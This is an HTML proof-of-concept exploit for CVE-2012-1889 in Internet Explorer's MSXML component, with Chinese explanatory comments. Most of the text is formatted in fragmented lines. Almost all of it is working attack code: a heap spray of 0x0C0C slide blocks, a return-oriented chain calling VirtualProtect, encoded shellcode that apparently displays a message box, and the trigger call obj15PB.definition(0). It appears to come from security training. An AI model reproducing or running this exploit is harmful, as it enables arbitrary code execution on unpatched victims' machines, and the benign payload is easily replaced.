<
html
>
[/align][/align][align=left] <
head
>
<
title
>CVE 2012-1889 POC Red_Magic_ver.7</
title
>
</
head
>
<
body
>
<
object
classid
=
"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"
id
=
'15PB'
></
object
>
<
script
>
// 1.生成Padding
var cPadding = unescape("\u0C0C\u0C0C");
while(cPadding.length <
0x1000
)
cPadding += cPadding;
cPadding
= cPadding.substring(0, 0x5F4); //在实际调试过程中,这个偏移有可能有偏差,需要动态调整
// 2.制作Ret2Libc
var
cRet2Libc
=
unescape
("\u 2091\u77be" + // RET
"\ubb7c\u77be" + // POP EBP; RET
"\ua891\u77c0" + // XCHG EAX,ESP
"\u 2091\u77be" + // RET
"\u 2091\u77be" + // RET
"\u 2091\u77be" + // RET
"\u 2091\u77be" + // RET
"\u1ad4\u7c80" + // VirtualProtect
"\u0c40\u0c0c" + // Shellcode address
"\u0c00\u0c0c" + // lpAddr
"\u1000\u0000" + // dwSize
"\u0040\u0000" + // flNewProtect
"\ucff0\u77c2"); // lpfOldProtect
// 3.准备好Payload
var
cPayload
=
unescape
("\u8360\u20EC\u49EB\u6547\u5074\u6F72\u4163\u6464"+
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579"+
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D"+
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250"+
"\u636F\u7365\u0073\u6950\u656E\u6F43\u656E\uE800"+
"\u0000\u0000\u645B\u358B\u0030\u0000\u768B\u8B0C"+
"\u1C76\u368B\u568B\u5308\uE852\u0014\u0000\uF08B"+
"\u4B8D\u52C0\u5251\uD0FF\u535A\u5056\uE852\u006E"+
"\u0000\u8B55\u83EC\u0CEC\u8B52\u0855\u728B\u8D3C"+
"\u3234\u768B\u8D78\u3234\u7E8B\u8D1C\u3A3C\u7D89"+
"\u8BFC\u207E\u3C8D\u893A\uF87D\u7E8B\u8D24\u3A3C"+
"\u7D89\u33F4\uEBC0\u4001\u758B\u8BF8\u8634\u558B"+
"\u8D08\u3234\u5D8B\u8D0C\uB27B\u0EB9\u0000\uFC00"+
"\uA6F3\uE375\u758B\u33F4\u66FF\u3C8B\u8B46\uFC55"+
"\u348B\u8BBA\u0855\u048D\u5A32\uE58B\uC25D\u0008"+
"\u8B55\u83EC\u08EC\u5D8B\u8D14\uCF4B\u006A\u006A"+
"\uFF51\u0C55\u4B8D\u51DA\uFF50\u1055\u4589\u8DFC"+
"\uE64B\uFF51\u0875\u55FF\u8910\uF845\u4B8D\u6AF2"+
"\u5100\u6A51\uFF00\uFC55\u006A\u55FF\u8BF8\u5DE5"+
"\u10C2\u0000");
// 4.准备好FillData
// 4.1 计算填充滑板指令的大小
var
nSlideSize
=
0x1000
; // 一个滑板指令区的大小(1MB)
var
nPadSize
=
cPadding
.length;
var
nR2LSize
=
cRet2Libc
.length;
var
nPaySize
=
cPayload
.length;
var
nFillSize
=
nSlideSize
- nPadSize - nR2LSize - nPaySize;
// 4.2 制作好一块填充数据
var
cFillData
=
unescape
("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
while(cFillData.length <= nSlideSize)
cFillData += cFillData;
cFillData
= cFillData.substring(0, nFillSize); // 应该是将cFillData内nFillSize个字符填为0
// 5. 构建滑板指令数据块
var
nBlockSize
=
0x40000
; // 256KB
var
cBlock
=
cPadding
+ cRet2Libc + cPayload + cFillData;
while(cBlock.length < nBlockSize)
cBlock += cBlock;
// 6. 填充200M的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
// 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
// 后面的Shellcode处,进而执行Shellcode
var
cSlideData
=
new
Array();
for(var
i
=
0
; i<800; ++i)
cSlideData[i] = cBlock.substr(0, cBlock.length);
// 7.触发CVE 2012-1889漏洞
// 7.1获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var
obj15PB
=
document
.getElementById('15PB').object;
// 7.2构建一个长度为0x1000 -
10
=
8182
,起始内容为“\\15PB”字节的数据
var
srclmgPath
=
unescape
("\u0C0C\u0C08"); // 注意这里填0c08
while(srclmgPath.length < 0x1000)
srclmgPath += srclmgPath;
srclmgPath
=
"\\\\15PB"
+ srclmgPath;
srclmgPath
= srclmgPath.substr(0, 0x1000 - 10);
// 7.3 创建一个图片元素,并将图片源路径设为srclmgPath,并返回当前图片文件名
var
emtPic
=
document
.createElement("img");
emtPic.src
=
srclmgPath
;
emtPic.nameProp;
// 4.4定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</
body
>
</
html
>